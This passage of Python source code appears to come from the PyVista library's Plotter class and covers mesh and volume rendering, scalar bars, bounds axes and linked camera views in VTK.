vectors/tuples scalars = mesh.active_scalar # Don't allow plotting of string arrays by default if scalars is not None and np.issubdtype(scalars.dtype, np.number): if stitle is None: stitle = mesh.active_scalar_info[1] else: scalars = None if texture == True or isinstance(texture, (str, int)): texture = mesh._activate_texture(texture) if texture: if isinstance(texture, np.ndarray): texture = numpy_to_texture(texture) if not isinstance(texture, (vtk.vtkTexture, vtk.vtkOpenGLTexture)): raise TypeError('Invalid texture type ({})'.format(type(texture))) if mesh.GetPointData().GetTCoords() is None: raise AssertionError('Input mesh does not have texture coordinates to support the texture.') actor.SetTexture(texture) # Set color to white by default when using a texture if color is None: color = 'white' if scalars is None: show_scalar_bar = False self.mapper.SetScalarModeToUsePointFieldData() # Scalar formatting =================================================== if cmap is None: # grab alias for cmaps: colormap cmap = kwargs.get('colormap', None) if cmap is None: # Set default map if matplotlib is avaialble try: import matplotlib cmap = rcParams['cmap'] except ImportError: pass title = 'Data' if stitle is None else stitle if scalars is not None: # if scalars is a string, then get the first array found with that name append_scalars = True if isinstance(scalars, str): title = scalars scalars = get_scalar(mesh, scalars, preference=kwargs.get('preference', 'cell'), err=True) if stitle is None: stitle = title #append_scalars = False if not isinstance(scalars, np.ndarray): scalars = np.asarray(scalars) if not np.issubdtype(scalars.dtype, np.number): raise TypeError('Non-numeric scalars are currently not supported for plotting.') if rgb is False or rgb is None: rgb = kwargs.get('rgba', False) if rgb: if scalars.ndim != 2 or scalars.shape[1] < 3 or scalars.shape[1] > 4: raise ValueError('RGB array must be n_points/n_cells by 3/4 in shape.') if scalars.ndim != 1: if rgb: pass elif scalars.ndim == 2 and (scalars.shape[0] == mesh.n_points or scalars.shape[0] == mesh.n_cells): scalars = np.linalg.norm(scalars.copy(), axis=1) title = '{}-normed'.format(title) else: scalars = scalars.ravel() if scalars.dtype == np.bool or (scalars.dtype == np.uint8 and not rgb): scalars = scalars.astype(np.float) # Scalar interpolation approach if scalars.shape[0] == mesh.n_points: self.mesh._add_point_scalar(scalars, title, append_scalars) self.mapper.SetScalarModeToUsePointData() self.mapper.GetLookupTable().SetNumberOfTableValues(n_colors) if interpolate_before_map: self.mapper.InterpolateScalarsBeforeMappingOn() elif scalars.shape[0] == mesh.n_cells: self.mesh._add_cell_scalar(scalars, title, append_scalars) self.mapper.SetScalarModeToUseCellData() self.mapper.GetLookupTable().SetNumberOfTableValues(n_colors) if interpolate_before_map: self.mapper.InterpolateScalarsBeforeMappingOn() else: raise_not_matching(scalars, mesh) # Set scalar range if rng is None: rng = [np.nanmin(scalars), np.nanmax(scalars)] elif isinstance(rng, float) or isinstance(rng, int): rng = [-rng, rng] if np.any(rng) and not rgb: self.mapper.scalar_range = rng[0], rng[1] elif rgb: self.mapper.SetColorModeToDirectScalars() # Flip if requested table = self.mapper.GetLookupTable() table.SetNanColor(nan_color) if cmap is not None: try: from matplotlib.cm import get_cmap except ImportError: cmap = None logging.warning('Please install matplotlib for color maps.') if cmap is not None: cmap = get_cmap_safe(cmap) if categories: if categories is True: n_colors = len(np.unique(scalars)) elif isinstance(categories, int): n_colors = categories ctable = cmap(np.linspace(0, 1, n_colors))*255 ctable = ctable.astype(np.uint8) # Set opactities if isinstance(opacity, str): ctable[:,-1] = opacity_transfer_function(opacity, n_colors) if flip_scalars: ctable = np.ascontiguousarray(ctable[::-1]) table.SetTable(VN.numpy_to_vtk(ctable)) else: # no cmap specified if flip_scalars: table.SetHueRange(0.0, 0.66667) else: table.SetHueRange(0.66667, 0.0) else: self.mapper.SetScalarModeToUseFieldData() # select view style if not style: style = 'surface' style = style.lower() if style == 'wireframe': prop.SetRepresentationToWireframe() if color is None: color = rcParams['outline_color'] elif style == 'points': prop.SetRepresentationToPoints() elif style == 'surface': prop.SetRepresentationToSurface() else: raise Exception('Invalid style. Must be one of the following:\n' + '\t"surface"\n' + '\t"wireframe"\n' + '\t"points"\n') prop.SetPointSize(point_size) prop.SetAmbient(ambient) if smooth_shading: prop.SetInterpolationToPhong() else: prop.SetInterpolationToFlat() # edge display style if show_edges: prop.EdgeVisibilityOn() rgb_color = parse_color(color) prop.SetColor(rgb_color) if isinstance(opacity, (float, int)): prop.SetOpacity(opacity) prop.SetEdgeColor(parse_color(edge_color)) if render_points_as_spheres: prop.SetRenderPointsAsSpheres(render_points_as_spheres) if render_lines_as_tubes: prop.SetRenderLinesAsTubes(render_lines_as_tubes) # legend label if label: if not isinstance(label, str): raise AssertionError('Label must be a string') geom = pyvista.single_triangle() if scalars is not None: geom = pyvista.Box() rgb_color = parse_color('black') self._labels.append([geom, label, rgb_color]) # lighting display style if not lighting: prop.LightingOff() # set line thickness if line_width: prop.SetLineWidth(line_width) # Add scalar bar if available if stitle is not None and show_scalar_bar and not rgb: self.add_scalar_bar(stitle, **scalar_bar_args) return actor def add_volume(self, volume, scalars=None, resolution=None, opacity='linear', n_colors=256, cmap=None, flip_scalars=False, reset_camera=None, name=None, ambient=0.0, categories=False, loc=None, backface_culling=False, multi_colors=False, blending='additive', mapper='fixed_point', rng=None, stitle=None, scalar_bar_args=None, show_scalar_bar=None, **kwargs): """ Adds a volume, rendered using a fixed point ray cast mapper by default. Requires a 3D numpy.ndarray or pyvista.UniformGrid. Parameters ---------- data: 3D numpy.ndarray or pyvista.UnformGrid The input array to visualize, assuming the array values denote scalar intensities. opacity : float or string, optional Opacity of input array. Options are: linear, linear_r, geom, geom_r. Defaults to 'linear'. Can also be given as a scalar value between 0 and 1. flip_scalars : bool, optional Flip direction of cmap. n_colors : int, optional Number of colors to use when displaying scalars. Default 256. cmap : str, optional cmap string. See available matplotlib cmaps. Only applicable for when displaying scalars. Defaults to None (jet). Requires matplotlib. Will be overridden if multi_colors is set to True. name : str, optional The name for the added actor so that it can be easily updated. If an actor of this name already exists in the rendering window, it will be replaced by the new actor. ambient : float, optional The amount of light from 0 to 1 that reaches the actor when not directed at the light source emitted from the viewer. Default 0.0. loc : int, tuple, or list Index of the renderer to add the actor to. For example, ``loc=2`` or ``loc=(1, 1)``. If None, selects the last active Renderer. backface_culling : bool optional Does not render faces that should not be visible to the plotter. This can be helpful for dense surface meshes, especially when edges are visible, but can cause flat meshes to be partially displayed. Default False. categories : bool, optional If fetching a colormap from matplotlib, this is the number of categories to use in that colormap. If set to ``True``, then the number of unique values in the scalar array will be used. multi_colors : bool, optional Whether or not to use multiple colors when plotting MultiBlock object. Blocks will be colored sequentially as 'Reds', 'Greens', 'Blues', and 'Grays'. blending : str, optional Blending mode for visualisation of the input object(s). Can be one of 'additive', 'maximum', 'minimum', 'composite', or 'average'. Defaults to 'additive'. Returns ------- actor: vtk.vtkVolume VTK volume of the input data. """ # Handle default arguments if name is None: name = '{}({})'.format(type(volume).__name__, str(hex(id(volume)))) if rng is None: rng = kwargs.get('clim', None) if scalar_bar_args is None: scalar_bar_args = {} if show_scalar_bar is None: show_scalar_bar = rcParams['show_scalar_bar'] # Convert the VTK data object to a pyvista wrapped object if neccessary if not is_pyvista_obj(volume): if isinstance(volume, np.ndarray): volume = wrap(volume) if resolution is None: resolution = [1,1,1] elif len(resolution) != 3: raise ValueError('Invalid resolution dimensions.') volume.spacing = resolution else: volume = wrap(volume) else: # HACK: Make a copy so the original object is not altered volume = volume.copy() if isinstance(volume, pyvista.MultiBlock): from itertools import cycle cycler = cycle(['Reds', 'Greens', 'Blues', 'Greys', 'Oranges', 'Purples']) # Now iteratively plot each element of the multiblock dataset actors = [] for idx in range(volume.GetNumberOfBlocks()): if volume[idx] is None: continue # Get a good name to use next_name = '{}-{}'.format(name, idx) # Get the data object block = wrap(volume.GetBlock(idx)) if resolution is None: try: block_resolution = block.GetSpacing() except: block_resolution = resolution else: block_resolution = resolution if multi_colors: color = next(cycler) else: color = cmap a = self.add_volume(block, resolution=block_resolution, opacity=opacity, n_colors=n_colors, cmap=color, flip_scalars=flip_scalars, reset_camera=reset_camera, name=next_name, ambient=ambient, categories=categories, loc=loc, backface_culling=backface_culling, rng=rng, mapper=mapper, **kwargs) actors.append(a) return actors if not isinstance(volume, pyvista.UniformGrid): raise TypeError('Type ({}) not supported for volume rendering at this time. Use `pyvista.UniformGrid`.') if scalars is None: # Make sure scalar components are not vectors/tuples scalars = volume.active_scalar # Don't allow plotting of string arrays by default if scalars is not None and np.issubdtype(scalars.dtype, np.number): if stitle is None: stitle = volume.active_scalar_info[1] else: raise RuntimeError('No scalars to use for volume rendering.') elif isinstance(scalars, str): pass ############## title = 'Data' if stitle is None else stitle append_scalars = False if isinstance(scalars, str): title = scalars scalars = get_scalar(volume, scalars, preference=kwargs.get('preference', 'point'), err=True) if stitle is None: stitle = title else: append_scalars = True if not isinstance(scalars, np.ndarray): scalars = np.asarray(scalars) if not np.issubdtype(scalars.dtype, np.number): raise TypeError('Non-numeric scalars are currently not supported for plotting.') if scalars.ndim != 1: scalars = scalars.ravel() if scalars.dtype == np.bool or scalars.dtype == np.uint8: scalars = scalars.astype(np.float) # Define mapper, volume, and add the correct properties mappers = { 'fixed_point' : vtk.vtkFixedPointVolumeRayCastMapper, 'gpu' : vtk.vtkGPUVolumeRayCastMapper, 'open_gl' : vtk.vtkOpenGLGPUVolumeRayCastMapper, 'smart' : vtk.vtkSmartVolumeMapper, } if not isinstance(mapper, str) or mapper not in mappers.keys(): raise RuntimeError('Mapper ({}) unknown. Available volume mappers include: {}'.format(mapper, ', '.join(mappers.keys()))) self.mapper = make_mapper(mappers[mapper]) # Scalar interpolation approach if scalars.shape[0] == volume.n_points: volume._add_point_scalar(scalars, title, append_scalars) self.mapper.SetScalarModeToUsePointData() elif scalars.shape[0] == volume.n_cells: volume._add_cell_scalar(scalars, title, append_scalars) self.mapper.SetScalarModeToUseCellData() else: raise_not_matching(scalars, volume) # Set scalar range if rng is None: rng = [np.nanmin(scalars), np.nanmax(scalars)] elif isinstance(rng, float) or isinstance(rng, int): rng = [-rng, rng] ############### scalars = scalars.astype(np.float) idxs0 = scalars < rng[0] idxs1 = scalars > rng[1] scalars[idxs0] = np.nan scalars[idxs1] = np.nan scalars = ((scalars - np.nanmin(scalars)) / (np.nanmax(scalars) - np.nanmin(scalars))) * 255 # scalars = scalars.astype(np.uint8) volume[title] = scalars self.mapper.scalar_range = rng # Set colormap and build lookup table table = vtk.vtkLookupTable() # table.SetNanColor(nan_color) # NaN's are chopped out with current implementation if cmap is None: # grab alias for cmaps: colormap cmap = kwargs.get('colormap', None) if cmap is None: # Set default map if matplotlib is avaialble try: import matplotlib cmap = rcParams['cmap'] except ImportError: pass if cmap is not None: try: from matplotlib.cm import get_cmap except ImportError: cmap = None raise RuntimeError('Please install matplotlib for volume rendering.') if cmap is not None: cmap = get_cmap_safe(cmap) if categories: if categories is True: n_colors = len(np.unique(scalars)) elif isinstance(categories, int): n_colors = categories if flip_scalars: cmap = cmap.reversed() color_tf = vtk.vtkColorTransferFunction() for ii in range(n_colors): color_tf.AddRGBPoint(ii, *cmap(ii)[:-1]) # Set opacities if isinstance(opacity, (float, int)): opacity_values = [opacity] * n_colors elif isinstance(opacity, str): opacity_values = pyvista.opacity_transfer_function(opacity, n_colors) opacity_tf = vtk.vtkPiecewiseFunction() for ii in range(n_colors): opacity_tf.AddPoint(ii, opacity_values[ii] / n_colors) # Now put color tf and opacity tf into a lookup table for the scalar bar table.SetNumberOfTableValues(n_colors) lut = cmap(np.array(range(n_colors))) * 255 lut[:,3] = opacity_values lut = lut.astype(np.uint8) table.SetTable(VN.numpy_to_vtk(lut)) table.SetRange(*rng) self.mapper.lookup_table = table self.mapper.SetInputData(volume) blending = blending.lower() if blending in ['additive', 'add', 'sum']: self.mapper.SetBlendModeToAdditive() elif blending in ['average', 'avg', 'average_intensity']: self.mapper.SetBlendModeToAverageIntensity() elif blending in ['composite', 'comp']: self.mapper.SetBlendModeToComposite() elif blending in ['maximum', 'max', 'maximum_intensity']: self.mapper.SetBlendModeToMaximumIntensity() elif blending in ['minimum', 'min', 'minimum_intensity']: self.mapper.SetBlendModeToMinimumIntensity() else: raise ValueError('Blending mode \'{}\' invalid. '.format(blending) + 'Please choose one ' + 'of \'additive\', ' + '\'composite\', \'minimum\' or ' + '\'maximum\'.') self.mapper.Update() self.volume = vtk.vtkVolume() self.volume.SetMapper(self.mapper) prop = vtk.vtkVolumeProperty() prop.SetColor(color_tf) prop.SetScalarOpacity(opacity_tf) prop.SetAmbient(ambient) self.volume.SetProperty(prop) actor, prop = self.add_actor(self.volume, reset_camera=reset_camera, name=name, loc=loc, culling=backface_culling) # Add scalar bar if stitle is not None and show_scalar_bar: self.add_scalar_bar(stitle, **scalar_bar_args) return actor def update_scalar_bar_range(self, clim, name=None): """Update the value range of the active or named scalar bar. Parameters ---------- 2 item list The new range of scalar bar. Example: ``[-1, 2]``. name : str, optional The title of the scalar bar to update """ if isinstance(clim, float) or isinstance(clim, int): clim = [-clim, clim] if len(clim) != 2: raise TypeError('clim argument must be a length 2 iterable of values: (min, max).') if name is None: if not hasattr(self, 'mapper'): raise RuntimeError('This plotter does not have an active mapper.') self.mappe.scalar_range = clim return # Use the name to find the desired actor def update_mapper(mapper_helper): mapper_helper.scalar_range = clim return try: for mh in self._scalar_bar_mappers[name]: update_mapper(mh) except KeyError: raise KeyError('Name ({}) not valid/not found in this plotter.') return @property def camera_set(self): """ Returns if the camera of the active renderer has been set """ return self.renderer.camera_set def get_default_cam_pos(self): """ Return the default camera position of the active renderer """ return self.renderer.get_default_cam_pos() @camera_set.setter def camera_set(self, is_set): """ Sets if the camera has been set on the active renderer""" self.renderer.camera_set = is_set @property def renderer(self): """ simply returns the active renderer """ return self.renderers[self._active_renderer_index] @property def bounds(self): """ Returns the bounds of the active renderer """ return self.renderer.bounds @property def length(self): """Returns the length of the diagonal of the bounding box of the scene """ return pyvista.Box(self.bounds).length @property def center(self): """ Returns the center of the active renderer """ return self.renderer.center def update_bounds_axes(self): """ Update the bounds of the active renderer """ return self.renderer.update_bounds_axes() @property def _scalar_bar_slots(self): return self.renderer._scalar_bar_slots @property def _scalar_bar_slot_lookup(self): return self.renderer._scalar_bar_slot_lookup @_scalar_bar_slots.setter def _scalar_bar_slots(self, value): self.renderer._scalar_bar_slots = value @_scalar_bar_slot_lookup.setter def _scalar_bar_slot_lookup(self, value): self.renderer._scalar_bar_slot_lookup = value def clear(self): """ Clears plot by removing all actors and properties """ for renderer in self.renderers: renderer.RemoveAllViewProps() self._scalar_bar_slots = set(range(MAX_N_COLOR_BARS)) self._scalar_bar_slot_lookup = {} self._scalar_bar_ranges = {} self._scalar_bar_mappers = {} self._scalar_bar_actors = {} self._scalar_bar_widgets = {} def remove_actor(self, actor, reset_camera=False): """ Removes an actor from the Plotter. Parameters ---------- actor : vtk.vtkActor Actor that has previously added to the Renderer. reset_camera : bool, optional Resets camera so all actors can be seen. Returns ------- success : bool True when actor removed. False when actor has not been removed. """ for renderer in self.renderers: renderer.remove_actor(actor, reset_camera) return True def add_actor(self, uinput, reset_camera=False, name=None, loc=None, culling=False): """ Adds an actor to render window. Creates an actor if input is a mapper. Parameters ---------- uinput : vtk.vtkMapper or vtk.vtkActor vtk mapper or vtk actor to be added. reset_camera : bool, optional Resets the camera when true. loc : int, tuple, or list Index of the renderer to add the actor to. For example, ``loc=2`` or ``loc=(1, 1)``. If None, selects the last active Renderer. culling : bool optional Does not render faces that should not be visible to the plotter. This can be helpful for dense surface meshes, especially when edges are visible, but can cause flat meshes to be partially displayed. Default False. Returns ------- actor : vtk.vtkActor The actor. actor_properties : vtk.Properties Actor properties. """ # add actor to the correct render window self._active_renderer_index = self.loc_to_index(loc) renderer = self.renderers[self._active_renderer_index] return renderer.add_actor(uinput, reset_camera, name, culling) def loc_to_index(self, loc): """ Return index of the render window given a location index. Parameters ---------- loc : int, tuple, or list Index of the renderer to add the actor to. For example, ``loc=2`` or ``loc=(1, 1)``. Returns ------- idx : int Index of the render window. """ if loc is None: return self._active_renderer_index elif isinstance(loc, int): return loc elif isinstance(loc, collections.Iterable): assert len(loc) == 2, '"loc" must contain two items' return loc[0]*self.shape[0] + loc[1] def index_to_loc(self, index): """Convert a 1D index location to the 2D location on the plotting grid """ sz = int(self.shape[0] * self.shape[1]) idxs = np.array([i for i in range(sz)], dtype=int).reshape(self.shape) args = np.argwhere(idxs == index) if len(args) < 1: raise RuntimeError('Index ({}) is out of range.') return args[0] @property def camera(self): """ The active camera of the active renderer """ return self.renderer.camera def add_axes_at_origin(self, loc=None): """ Add axes actor at the origin of a render window. Parameters ---------- loc : int, tuple, or list Index of the renderer to add the actor to. For example, ``loc=2`` or ``loc=(1, 1)``. When None, defaults to the active render window. Returns -------- marker_actor : vtk.vtkAxesActor vtkAxesActor actor """ self._active_renderer_index = self.loc_to_index(loc) return self.renderers[self._active_renderer_index].add_axes_at_origin() def show_bounds(self, mesh=None, bounds=None, show_xaxis=True, show_yaxis=True, show_zaxis=True, show_xlabels=True, show_ylabels=True, show_zlabels=True, italic=False, bold=True, shadow=False, font_size=None, font_family=None, color=None, xlabel='X Axis', ylabel='Y Axis', zlabel='Z Axis', use_2d=False, grid=None, location='closest', ticks=None, all_edges=False, corner_factor=0.5, fmt=None, minor_ticks=False, loc=None, padding=0.0): """ Adds bounds axes. Shows the bounds of the most recent input mesh unless mesh is specified. Parameters ---------- mesh : vtkPolydata or unstructured grid, optional Input mesh to draw bounds axes around bounds : list or tuple, optional Bounds to override mesh bounds. [xmin, xmax, ymin, ymax, zmin, zmax] show_xaxis : bool, optional Makes x axis visible. Default True. show_yaxis : bool, optional Makes y axis visible. Default True. show_zaxis : bool, optional Makes z axis visible. Default True. show_xlabels : bool, optional Shows x labels. Default True. show_ylabels : bool, optional Shows y labels. Default True. show_zlabels : bool, optional Shows z labels. Default True. italic : bool, optional Italicises axis labels and numbers. Default False. bold : bool, optional Bolds axis labels and numbers. Default True. shadow : bool, optional Adds a black shadow to the text. Default False. font_size : float, optional Sets the size of the label font. Defaults to 16. font_family : string, optional Font family. Must be either courier, times, or arial. color : string or 3 item list, optional Color of all labels and axis titles. Default white. Either a string, rgb list, or hex color string. For example: color='white' color='w' color=[1, 1, 1] color='#FFFFFF' xlabel : string, optional Title of the x axis. Default "X Axis" ylabel : string, optional Title of the y axis. Default "Y Axis" zlabel : string, optional Title of the z axis. Default "Z Axis" use_2d : bool, optional A bug with vtk 6.3 in Windows seems to cause this function to crash this can be enabled for smoother plotting for other enviornments. grid : bool or str, optional Add grid lines to the backface (``True``, ``'back'``, or ``'backface'``) or to the frontface (``'front'``, ``'frontface'``) of the axes actor. location : str, optional Set how the axes are drawn: either static (``'all'``), closest triad (``front``), furthest triad (``'back'``), static closest to the origin (``'origin'``), or outer edges (``'outer'``) in relation to the camera position. Options include: ``'all', 'front', 'back', 'origin', 'outer'`` ticks : str, optional Set how the ticks are drawn on the axes grid. Options include: ``'inside', 'outside', 'both'`` all_edges : bool, optional Adds an unlabeled and unticked box at the boundaries of plot. Useful for when wanting to plot outer grids while still retaining all edges of the boundary. corner_factor : float, optional If ``all_edges````, this is the factor along each axis to draw the default box. Dafuault is 0.5 to show the full box. loc : int, tuple, or list Index of the renderer to add the actor to. For example, ``loc=2`` or ``loc=(1, 1)``. If None, selects the last active Renderer. padding : float, optional An optional percent padding along each axial direction to cushion the datasets in the scene from the axes annotations. Defaults to have no padding Returns ------- cube_axes_actor : vtk.vtkCubeAxesActor Bounds actor Examples -------- >>> import pyvista >>> from pyvista import examples >>> mesh = pyvista.Sphere() >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(mesh) >>> _ = plotter.show_bounds(grid='front', location='outer', all_edges=True) >>> plotter.show() # doctest:+SKIP """ kwargs = locals() _ = kwargs.pop('self') _ = kwargs.pop('loc') self._active_renderer_index = self.loc_to_index(loc) renderer = self.renderers[self._active_renderer_index] renderer.show_bounds(**kwargs) def add_bounds_axes(self, *args, **kwargs): """Deprecated""" logging.warning('`add_bounds_axes` is deprecated. Use `show_bounds` or `show_grid`.') return self.show_bounds(*args, **kwargs) def add_bounding_box(self, color=None, corner_factor=0.5, line_width=None, opacity=1.0, render_lines_as_tubes=False, lighting=None, reset_camera=None, loc=None): """ Adds an unlabeled and unticked box at the boundaries of plot. Useful for when wanting to plot outer grids while still retaining all edges of the boundary. Parameters ---------- corner_factor : float, optional If ``all_edges``, this is the factor along each axis to draw the default box. Dafuault is 0.5 to show the full box. corner_factor : float, optional This is the factor along each axis to draw the default box. Dafuault is 0.5 to show the full box. line_width : float, optional Thickness of lines. opacity : float, optional Opacity of mesh. Should be between 0 and 1. Default 1.0 loc : int, tuple, or list Index of the renderer to add the actor to. For example, ``loc=2`` or ``loc=(1, 1)``. If None, selects the last active Renderer. """ kwargs = locals() _ = kwargs.pop('self') _ = kwargs.pop('loc') self._active_renderer_index = self.loc_to_index(loc) renderer = self.renderers[self._active_renderer_index] return renderer.add_bounding_box(**kwargs) def remove_bounding_box(self, loc=None): """ Removes bounding box from the active renderer. Parameters ---------- loc : int, tuple, or list Index of the renderer to add the actor to. For example, ``loc=2`` or ``loc=(1, 1)``. If None, selects the last active Renderer. """ self._active_renderer_index = self.loc_to_index(loc) renderer = self.renderers[self._active_renderer_index] renderer.remove_bounding_box() def remove_bounds_axes(self, loc=None): """ Removes bounds axes from the active renderer. Parameters ---------- loc : int, tuple, or list Index of the renderer to add the actor to. For example, ``loc=2`` or ``loc=(1, 1)``. If None, selects the last active Renderer. """ self._active_renderer_index = self.loc_to_index(loc) renderer = self.renderers[self._active_renderer_index] renderer.remove_bounds_axes() def subplot(self, index_x, index_y): """ Sets the active subplot. Parameters ---------- index_x : int Index of the subplot to activate in the x direction. index_y : int Index of the subplot to activate in the y direction. """ self._active_renderer_index = self.loc_to_index((index_x, index_y)) def link_views(self, views=0): """ Links the views' cameras. Parameters ---------- views : int | tuple or list If ``views`` is int, link the views to the given view index or if ``views`` is a tuple or a list, link the given views cameras. """ if isinstance(views, int): for renderer in self.renderers: renderer.camera = self.renderers[views].camera elif isinstance(views, collections.Iterable): for view_index in views: self.renderers[view_index].camera = \ self.renderers[views[0]].camera else: raise TypeError('Expected type is int, list or tuple:' '{} is given'.format(type(views))) def unlink_views(self, views=None): """ Unlinks the views' cameras. Parameters ---------- views : None | int | tuple or list If ``views`` is None unlink all the views, if ``views`` is int unlink the selected view's camera or if ``views`` is a tuple or a list, unlink the given views cameras. """ if views is None: for renderer in self.renderers: renderer.camera = vtk.vtkCamera() renderer.reset_camera() elif isinstance(views, int): self.renderers[views].camera = vtk.vtkCamera() self.renderers[views].reset_camera() elif isinstance(views, collections.Iterable): for view_index in views: self.renderers[view_index].camera = vtk.vtkCamera() self.renderers[view_index].reset_camera() else: raise TypeError('Expected type is None, int, list or tuple:' '{} is given'.format(type(views))) def show_grid(self, **kwargs): """ A wrapped implementation of ``show_bounds`` to change default behaviour to use gridlines and showing the axes labels on the outer edges. This is intended to be silimar to ``matplotlib``'s ``grid`` function. """ kwargs.setdefault('grid', 'back') kwargs.setdefault('location', 'outer') kwargs.setdefault('ticks', 'both') return self.show_bounds(**kwargs) def set_scale(self, xscale=None, yscale=None, zscale=None, reset_camera=True): """ Scale all the datasets in the scene of the active renderer. Scaling in performed independently on the X, Y and Z axis. A scale of zero is illegal and will be replaced with one. Parameters ---------- xscale : float, optional Scaling of the x axis. Must be greater than zero. yscale : float, optional Scaling of the y axis. Must be greater than zero. zscale : float, optional Scaling of the z axis. Must be greater than zero. reset_camera : bool, optional Resets camera so all actors can be seen. """ self.renderer.set_scale(xscale, yscale, zscale, reset_camera) @property def scale(self): """ The scaling of the active renderer. """ return self.renderer.scale def _update_axes_color(self, color): """Internal helper to set the axes label color""" if color is None: color = rcParams['font']['color'] color = parse_color(color) if isinstance(self.axes_actor, vtk.vtkAxesActor): prop_x = self.axes_actor.GetXAxisCaptionActor2D().GetCaptionTextProperty() prop_y = self.axes_actor.GetYAxisCaptionActor2D().GetCaptionTextProperty() prop_z = self.axes_actor.GetZAxisCaptionActor2D().GetCaptionTextProperty() for prop in [prop_x, prop_y, prop_z]: prop.SetColor(color[0], color[1], color[2]) prop.SetShadow(False) elif isinstance(self.axes_actor, vtk.vtkAnnotatedCubeActor): self.axes_actor.GetTextEdgesProperty().SetColor(color) return def add_scalar_bar(self, title=None, n_labels=5, italic=False, bold=True, title_font_size=None, label_font_size=None, color=None, font_family=None, shadow=False, mapper=None, width=None, height=None, position_x=None, position_y=None, vertical=None, interactive=False, fmt=None, use_opacity=True, outline=False): """ Creates scalar bar using the ranges as set by the last input mesh. Parameters ---------- title : string, optional Title of the scalar bar. Default None n_labels : int, optional Number of labels to use for the scalar bar. italic : bool, optional Italicises title and bar labels. Default False. bold : bool, optional Bolds title and bar labels. Default True title_font_size : float, optional Sets the size of the title font. Defaults to None and is sized automatically. label_font_size : float, optional Sets the size of the title font. Defaults to None and is sized automatically. color : string or 3 item list, optional, defaults to white Either a string, rgb list, or hex color string. For example: color='white' color='w' color=[1, 1, 1] color='#FFFFFF' font_family : string, optional Font family. Must be either courier, times, or arial. shadow : bool, optional Adds a black shadow to the text. Defaults to False width : float, optional The percentage (0 to 1) width of the window for the colorbar height : float, optional The percentage (0 to 1) height of the window for the colorbar position_x : float, optional The percentage (0 to 1) along the windows's horizontal direction to place the bottom left corner of the colorbar position_y : float, optional The percentage (0 to 1) along the windows's vertical direction to place the bottom left corner of the colorbar interactive : bool, optional Use a widget to control the size and location of the scalar bar. use_opacity : bool, optional Optionally disply the opacity mapping on the scalar bar outline : bool, optional Optionally outline the scalar bar to make opacity mappings more obvious. Notes ----- Setting title_font_size, or label_font_size disables automatic font sizing for both the title and label. """ if font_family is None: font_family = rcParams['font']['family'] if label_font_size is None: label_font_size = rcParams['font']['label_size'] if title_font_size is None: title_font_size = rcParams['font']['title_size'] if color is None: color = rcParams['font']['color'] if fmt is None: fmt = rcParams['font']['fmt'] if vertical is None: if rcParams['colorbar_orientation'].lower() == 'vertical': vertical = True # Automatically choose size if not specified if width is None: if vertical: width = rcParams['colorbar_vertical']['width'] else: width = rcParams['colorbar_horizontal']['width'] if height is None: if vertical: height = rcParams['colorbar_vertical']['height'] else: height = rcParams['colorbar_horizontal']['height'] # check if maper exists if mapper is None: if self.mapper is None: raise Exception('Mapper does not exist. ' + 'Add a mesh with scalars first.') mapper = self.mapper if title: # Check that this data hasn't already been plotted if title in list(self._scalar_bar_ranges.keys()): rng = list(self._scalar_bar_ranges[title]) newrng = mapper.scalar_range oldmappers = self._scalar_bar_mappers[title] # get max for range and reset everything if newrng[0] < rng[0]: rng[0] = newrng[0] if newrng[1] > rng[1]: rng[1] = newrng[1] for mh in oldmappers: mh.scalar_range = rng[0], rng[1] mapper.scalar_range = rng[0], rng[1] self._scalar_bar_mappers[title].append(mapper) self._scalar_bar_ranges[title] = rng # Color bar already present and ready to be used so returning return # Automatically choose location if not specified if position_x is None or position_y is None: try: slot = min(self._scalar_bar_slots) self._scalar_bar_slots.remove(slot) self._scalar_bar_slot_lookup[title] = slot except: raise RuntimeError('Maximum number of color bars reached.') if position_x is None: if vertical: position_x = rcParams['colorbar_vertical']['position_x'] position_x -= slot * width else: position_x = rcParams['colorbar_horizontal']['position_x'] if position_y is None: if vertical: position_y = rcParams['colorbar_vertical']['position_y'] else: position_y = rcParams['colorbar_horizontal']['position_y'] position_y += slot * height # Adjust to make sure on the screen if position_x + width > 1: position_x -= width if position_y + height > 1: position_y -= height # parse color color = parse_color(color) # Create scalar bar self.scalar_bar = vtk.vtkScalarBarActor() self.scalar_bar.SetLookupTable(mapper.lookup_table) self.scalar_bar.SetNumberOfLabels(n_labels) # edit the size of the colorbar self.scalar_bar.SetHeight(height) self.scalar_bar.SetWidth(width) self.scalar_bar.SetPosition(position_x, position_y) if fmt is not None: self.scalar_bar.SetLabelFormat(fmt) if vertical: self.scalar_bar.SetOrientationToVertical() else: self.scalar_bar.SetOrientationToHorizontal() if label_font_size is None or title_font_size is None: self.scalar_bar.UnconstrainedFontSizeOn() if n_labels: label_text = self.scalar_bar.GetLabelTextProperty() label_text.SetColor(color) label_text.SetShadow(shadow) # Set font label_text.SetFontFamily(parse_font_family(font_family)) label_text.SetItalic(italic) label_text.SetBold(bold) if label_font_size: label_text.SetFontSize(label_font_size) # Set properties if title: rng = self.mapper.scalar_range self._scalar_bar_ranges[title] = rng self._scalar_bar_mappers[title] = [self.mapper] self.scalar_bar.SetTitle(title) title_text = self.scalar_bar.GetTitleTextProperty() title_text.SetJustificationToCentered() title_text.SetItalic(italic) title_text.SetBold(bold) title_text.SetShadow(shadow) if title_font_size: title_text.SetFontSize(title_font_size) # Set font title_text.SetFontFamily(parse_font_family(font_family)) # set color title_text.SetColor(color) self._scalar_bar_actors[title] = self.scalar_bar if interactive is None: interactive = rcParams['interactive'] if shape != (1, 1): interactive = False elif interactive and self.shape != (1, 1): err_str = 'Interactive scalar bars disabled for multi-renderer plots' raise Exception(err_str) if interactive and hasattr(self, 'iren'): self.scalar_widget = vtk.vtkScalarBarWidget() self.scalar_widget.SetScalarBarActor(self.scalar_bar) self.scalar_widget.SetInteractor(self.iren) self.scalar_widget.SetEnabled(1) rep = self.scalar_widget.GetRepresentation() # self.scalar_widget.On() if vertical is True or vertical is None: rep.SetOrientation(1) # 0 = Horizontal, 1 = Vertical else: rep.SetOrientation(0) # 0 = Horizontal, 1 = Vertical self._scalar_bar_widgets[title] = self.scalar_widget if use_opacity: self.scalar_bar.SetUseOpacity(True) if outline: self.scalar_bar.SetDrawFrame(True) frame_prop = self.scalar_bar.GetFrameProperty() frame_prop.SetColor(color) else: self.scalar_bar.SetDrawFrame(False) self.add_actor(self.scalar_bar, reset_camera=False) def update_scalars(self, scalars, mesh=None, render=True): """ Updates scalars of the an object in the plotter. Parameters ---------- scalars : np.ndarray Scalars to replace existing scalars. mesh : 